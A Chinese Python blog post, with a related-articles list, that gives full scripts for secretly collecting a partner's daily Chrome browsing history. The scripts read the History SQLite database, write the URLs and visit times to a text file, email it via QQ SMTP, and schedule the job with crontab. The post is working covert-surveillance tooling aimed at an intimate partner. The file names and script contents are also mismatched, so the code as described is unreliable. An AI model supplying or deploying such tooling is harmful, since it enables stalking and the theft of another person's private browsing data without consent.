Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python通过wxPython打开一个音频文件并播放的方法
Mar 25 Python
探究python中open函数的使用
Mar 01 Python
一文总结学习Python的14张思维导图
Oct 17 Python
django rest framework之请求与响应(详解)
Nov 06 Python
Python列表切片操作实例总结
Feb 19 Python
python/Matplotlib绘制复变函数图像教程
Nov 21 Python
屏蔽Django admin界面添加按钮的操作
Mar 11 Python
Python requests HTTP验证登录实现流程
Nov 05 Python
python制作一个简单的gui 数据库查询界面
Nov 19 Python
python中scipy.stats产生随机数实例讲解
Feb 19 Python
Python数据清洗工具之Numpy的基本操作
Apr 22 Python
python如何利用cv2模块读取显示保存图片
Jun 04 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
动漫定律:眯眯眼都是怪物!这些角色狠话不多~
2020/03/03 日漫
77A一级收信机修理记
2021/03/02 无线电
php表单转换textarea换行符的方法
2010/09/10 PHP
php数组函数序列之array_values() 获取数组元素值的函数与方法
2011/10/30 PHP
document.open() 与 document.write()的区别
2007/08/13 Javascript
基于jQuery的的一个隔行变色,鼠标移动变色的小插件
2010/07/06 Javascript
web性能优化之javascript性能调优
2012/12/28 Javascript
深入Javascript函数、递归与闭包(执行环境、变量对象与作用域链)使用详解
2013/05/08 Javascript
如何使Chrome控制台支持多行js模式——意外发现
2013/06/13 Javascript
JavaScript将相对地址转换为绝对地址示例代码
2013/07/19 Javascript
js实现目录定位正文示例
2013/11/14 Javascript
select多选 multiple的使用示例
2014/06/16 Javascript
angularjs基础教程
2014/12/25 Javascript
JavaScript设计模式学习之“类式继承”
2015/03/12 Javascript
JavaScript数组前面插入元素的方法
2015/04/06 Javascript
jQuery处理图片加载失败的常用方法
2015/06/08 Javascript
AngularJS入门教程之Scope(作用域)
2016/07/27 Javascript
微信小程序movable view移动图片和双指缩放实例代码
2017/08/08 Javascript
webpack下实现动态引入文件方法
2018/02/22 Javascript
利用angular自动编译andriod APK的绕坑经历分享
2019/03/08 Javascript
使用webpack搭建vue环境的教程详解
2019/12/31 Javascript
在react中使用vue的状态管理的方法示例
2020/05/02 Javascript
微信h5静默和非静默授权获取用户openId的方法和步骤
2020/06/08 Javascript
vue中组件通信详解(父子组件, 爷孙组件, 兄弟组件)
2020/07/27 Javascript
Python字典操作简明总结
2015/04/13 Python
Python的socket模块源码中的一些实现要点分析
2016/06/06 Python
PyTorch之nn.ReLU与F.ReLU的区别介绍
2020/06/27 Python
详解python 内存优化
2020/08/17 Python
pycharm2020.1.2永久破解激活教程,实测有效
2020/10/29 Python
德国内衣、泳装和睡衣网上商店:Bigsize Dessous
2018/07/09 全球购物
一月红领巾广播稿
2014/02/11 职场文书
人力资源部经理的岗位职责
2014/03/04 职场文书
意向书范本
2014/07/29 职场文书
2016中秋晚会开幕词
2016/03/03 职场文书
PHP RabbitMQ消息列队
2022/05/11 PHP
Java服务调用RestTemplate与HttpClient的使用详解
2022/06/21 Java/Android